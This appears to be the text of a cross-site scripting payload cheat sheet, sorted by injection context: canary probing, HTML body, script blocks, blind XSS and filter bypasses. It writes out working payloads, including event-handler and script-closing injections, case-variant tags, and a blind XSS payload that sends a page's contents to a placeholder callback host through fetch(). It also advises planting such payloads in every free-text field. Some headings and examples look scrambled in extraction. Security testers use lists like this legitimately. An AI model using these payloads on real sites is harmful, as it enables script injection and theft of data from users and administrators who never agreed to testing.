Where does your input land, and what is it sitting inside?
Before any payload: send a canary and read the response source, not the rendered page. The context you land in decides every payload afterwards, and skipping this is why people fire two hundred payloads and get nothing.
CANARY3
{{CANARY}}Plain. Find it in the source. How many times does it appear?
Break out of the quote first, or use an event handler on the existing tag.
<script> block
You are already in JS. Break out of the string, no tags needed.
URL attribute
href, src, action. Needs a javascript: scheme, not a tag.
JS string
Inside quotes inside a script. Close the quote, not the tag.
Encoded on the way in is not the same as safe. If < comes back as < in the body but raw inside an attribute, you have an attribute-context XSS and a body-context dead end. Check every reflection separately.
02HTML body context
Your input lands between tags, so inject a complete element.
BODY CONTEXT6
<img src=x onerror=alert(1)>The baseline. Blocked by most WAFs, but fine for confirming a reflection.
If the quote comes back encoded but the value is used in an event-handler attribute, you don't need to break out at all — you're already inside executable JavaScript.
</script><svg onload=alert(1)>Closing the script tag works even from inside a string, because the HTML parser runs before the JS parser. This is also what broke the first mockup of this site.
</script> inside a quoted JavaScript string still ends the script element. Nothing in the JS language can protect you from that, which is why templating engines have to encode it and why a payload list must never let anything parse its own contents.
05Blind XSS
Fires somewhere you can't see — an admin panel, a log viewer, a support ticket.
<img src=x onerror=fetch('//{{CALLBACK}}/'+btoa(document.body.innerHTML))>Exfiltrates the page you can't see, which is usually more valuable than the cookie.
Put these in every free-text field you meet — names, user agents, referrers, ticket bodies — and forget about them. The value of blind XSS is that it pays out days later.
06Filter bypasses
CASE AND ENCODING5
<ScRiPt>alert(1)</ScRiPt>Tag names are case-insensitive at the destination; hand-rolled filters often aren't.
ale/**/rt does not work. Comment-splitting separates SQL tokens because the SQL lexer treats a comment as whitespace; in JavaScript it produces two identifiers and a syntax error. Use the unicode escape or the computed property instead.